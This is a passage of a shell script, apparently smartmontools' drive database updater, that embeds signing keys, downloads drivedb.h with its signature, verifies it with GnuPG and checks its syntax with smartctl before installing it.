E+d58NTg+/7R8YWS1q+Tk6m8dA0Xyf3tMBsIJfj0zJvuGMbCLmd93Yw4nk76qtSn 9UHbnf76UJN5SctAd8+gK3uO6O4XDcZqC06xkWKl193lzcC8sZJBdI15NszC3y/e pnILDDMBUNQMBm/XlCYQUetyrJnAVzFGXurtjEXQ/DDnbfy2Z8efoG8rtq7v3fxS 1TC5jSVOIEqOE4TwzRz1Y/dfqSU= =3Lcg -----END PGP PUBLIC KEY BLOCK----- " ;; RELEASE_7_[02]_DRIVEDB) # Smartmontools Signing Key (through 2025) <smartmontools-database@listi.jpberlin.de> # Smartmontools Signing Key (through 2020) <smartmontools-database@listi.jpberlin.de> # Key ID 721042C5 public_key="\ -----BEGIN PGP PUBLIC KEY BLOCK----- mQINBFwmhpUBEADRoOZaXq13MrqyAmbGe6FlHi6P9uj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djELbBWA/35bAnpXy5pDHv9NbZsTkBZxK/kokBHAQT AQIABgUCXCaGnQAKCRAY7NpGy/a6xn4lB/90tXTnZsgmoftol9uivfQrPdR88WmO ZLYmUeQAd1rqSFMxe+KzO/qLuU8s6OF4nznwL2cPfbGZxezM4PiYmAmbbEU/3gTO NwjVBBA0Gfimy/fITEezFtCigo1thkaJ195g/dqY+zE3Vt4rzC03j1vx8mUHRPU6 kkvKj8cP0j+XHX2xQDsTXTstfnom29wBmGnvSZ9HgcdL71e1VXJXwikmnO3P4J/1 C2LeCOlWrGqWZ2c0WBLKdJnsYUx7Dm/OvkkB4lF+zWp98zS8jS/5h+1apVgEzrdT MvT8ydTkUr7ObKGkIhK+L+Xo5BD+V9Qf6xKGYPwhhdj/E5/kyjULrm10iQEcBBMB AgAGBQJcJoadAAoJEPOHY87f0iVZfiUH/3yKS5wGvTeRInse8+W1WzKuto3XzqXL ngb9QXWw7nCwqmNS7PbzDnufQi2ThKrMfcK14WgNYABNZPU75I+6bcb0oCB5tloo IUEV/2Ut/5Hl/83zFFoNA/kQKVz8kIDqgRcxC+zY2VJ4eTKHyQDvXygVk8wnKTBa e3gX+CIZqJHPXiiygHlbl31Mi3G1Iaxu57dP6ocV0vX1dytKSwd4Rbviwwb4L76o /tVT9t3GwFM15uK1SqtnAaiaktEdMi3XI4d01H3VUVz/iR0XQbf13RZoEM6CJWms Q/qvYlwkbKOdlahjoHrFlkhADSBaO9N1OZp3OYDjziIujMdt2IPKnmM= =7MQk -----END PGP PUBLIC KEY BLOCK----- " ;; *) error "No known public key for branches/$1" ;; esac } # gpg_verify FILE.asc FILE gpg_verify() { local gnupgtmp out rc # Create temp home dir gnupgtmp="$tmpdir/.gnupg.$$.tmp" rm -f -r "$gnupgtmp" mkdir "$gnupgtmp" || exit 1 chmod 0700 "$gnupgtmp" # Import public key if ! out=`echo "$public_key" | "$GPG" --batch --no-tty --homedir="$gnupgtmp" --import 2>&1`; then echo "$out" >&2 exit 1 fi vecho "$out" # Verify rc=0 out=`"$GPG" --batch --no-tty --homedir="$gnupgtmp" --verify "$1" "$2" </dev/null 2>&1` || rc=1 if [ $rc = 0 ]; then vecho "$out" else # print gpg error always echo "$out" >&2 fi rm -f -r "$gnupgtmp" return $rc } # mv_all PREFIX OLD NEW mv_all() { mv "${1}${2}" "${1}${3}" mv "${1}${2}.raw" "${1}${3}.raw" mv "${1}${2}.raw.asc" "${1}${3}.raw.asc" } # Parse options smtctl=$SMARTCTL tool= urlid="svn" q="-q" dryrun= trunk= brnch=$BRANCH cacert= capath= insecure= no_verify= expkey= while true; do case $1 in -s) shift; test -n "$1" || usage smtctl=$1 ;; -t) shift case $1 in *\ *) usage ;; esac case " $os_dltools " in *\ $1\ *) ;; *) usage ;; esac tool=$1 ;; -u) shift; test -n "$1" || usage urlid=$1 ;; -v) q= ;; --dryrun) dryrun=t ;; --trunk) trunk=trunk ;; --branch) shift brnch=`echo "$1" | sed -n 's,^\([567]\)\.\([0-9][0-9]*\)$,RELEASE_\1_\2_DRIVEDB,p'` test -n "$brnch" || usage ;; --cacert) shift; test -n "$1" || usage cacert=$1 ;; --capath) shift; test -n "$1" || usage capath=$1 ;; --insecure) insecure=t ;; --no-verify) no_verify=t ;; --export-key) expkey=t ;; -*) usage ;; *) break ;; esac; shift; done if [ -n "$expkey" ]; then test $# = 0 || usage selectkey "$brnch" cat <<EOF $public_key EOF exit 0 fi case $# in 0) DEST=$DRIVEDB ;; 1) DEST=$1 ;; *) usage ;; esac selecturl "$urlid" if [ -z "$tool" ]; then # Find download tool in PATH for t in $os_dltools; do if inpath "$t"; then tool=$t break fi done test -n "$tool" || error "found none of '$os_dltools' in $pathinfo" fi # Check option compatibility case "$tool:$url" in svn:http*://svn.code.sf.net*) ;; svn:*) error "'-t svn' requires '-u svn' or '-u svni'" ;; esac case "$tool:${capath:+set}" in svn:set) warning "'--capath' is ignored if '-t svn' is used" ;; esac case "${insecure:-f}:$url" in t:http:*) insecure= ;; ?:https:*) ;; *) error "'-u svni' requires '--insecure'" ;; esac case "$tool:$insecure" in lynx:t) warning "'--insecure' is ignored if '-t lynx' is used" ;; esac # Check for smartctl if [ "$smtctl" != "-" ]; then "$smtctl" -V >/dev/null 2>&1 \ || err_notfound "$smtctl" "('-s -' to ignore)" fi # Check for GnuPG if [ -z "$no_verify" ]; then test -n "$GPG" \ || error "GnuPG is not available ('--no-verify' to ignore)" "$GPG" --version >/dev/null 2>&1 \ || err_notfound "$GPG" "('--no-verify' to ignore)" selectkey "$brnch" fi # Use destination directory as temp directory for gpg tmpdir=`dirname "$DEST"` # Adjust URLs src=`echo "$url" | sed -e "s,/trunk/,/branches/$brnch/," \ -e "s,/master/,/origin/$brnch/,"` src_asc=`echo "$src" | sed "s,/drivedb\.h,/drivedb.h.raw.asc,"` test -z "$trunk" || src=$url # Download test -n "$dryrun" || rm -f "$DEST.new" "$DEST.new.raw" "$DEST.new.raw.asc" vecho "Download ${trunk:-branches/$brnch}/drivedb.h with $tool" rc=0 download "$src" "$DEST.new" || rc=$? if [ $rc != 0 ]; then rm -f "$DEST.new" error "${trunk:-$brnch}/drivedb.h: download failed ($tool: exit $rc)" fi if ! errmsg=`check_file "$DEST.new" '/' 10000 1000000`; then mv "$DEST.new" "$DEST.error" error "$DEST.error: $errmsg" fi vecho "Download branches/$brnch/drivedb.h.raw.asc with $tool" rc=0 download "$src_asc" "$DEST.new.raw.asc" || rc=$? if [ $rc != 0 ]; then rm -f "$DEST.new" "$DEST.new.raw.asc" error "$brnch/drivedb.h.raw.asc: download failed ($tool: exit $rc)" fi if ! errmsg=`check_file "$DEST.new.raw.asc" '-' 200 2000`; then rm -f "$DEST.new" mv "$DEST.new.raw.asc" "$DEST.error.raw.asc" error "$DEST.error.raw.asc: $errmsg" fi test -z "$dryrun" || exit 0 # Create raw file with unexpanded SVN Id # (This assumes newlines are LF and not CR/LF) unexpand_svn_id < "$DEST.new" > "$DEST.new.raw" # Adjust timestamps and permissions touch "$DEST.new" "$DEST.new.raw" "$DEST.new.raw.asc" chmod 0644 "$DEST.new" "$DEST.new.raw" "$DEST.new.raw.asc" if [ -z "$no_verify" ]; then # Verify raw file if ! gpg_verify "$DEST.new.raw.asc" "$DEST.new.raw"; then mv_all "$DEST" ".new" ".error" test -n "$trunk" || error "$DEST.error.raw: *** BAD signature or outdated key ***" error "$DEST.error.raw: signature from branch no longer valid ('--no-verify' to ignore)" fi fi if [ "$smtctl" != "-" ]; then # Check syntax if ! "$smtctl" -B "$DEST.new" -P showall >/dev/null; then mv_all "$DEST" ".new" ".error" error "$DEST.error: rejected by $smtctl, probably no longer compatible" fi vecho "$smtctl: syntax OK" fi # Keep old file if identical, ignore missing Id keyword expansion in new file rm -f "$DEST.lastcheck" if [ -f "$DEST" ]; then if [ -f "$DEST.raw" ] && [ -f "$DEST.raw.asc" ]; then if cmp "$DEST.raw" "$DEST.new.raw" >/dev/null 2>&1 \ && cmp "$DEST.raw.asc" "$DEST.new.raw.asc" >/dev/null 2>&1 \ && { cmp "$DEST" "$DEST.new" >/dev/null 2>&1 \ || cmp "$DEST.raw" "$DEST.new" >/dev/null 2>&1; } then rm -f "$DEST.new" "$DEST.new.raw" "$DEST.new.raw.asc" touch "$DEST.lastcheck" echo "$DEST is already up to date" exit 0 fi mv_all "$DEST" "" ".old" else mv "$DEST" "$DEST.old" fi fi mv_all "$DEST" ".new" "" echo "$DEST updated from ${trunk:-branches/$brnch}${no_verify:+ (NOT VERIFIED)}"
Close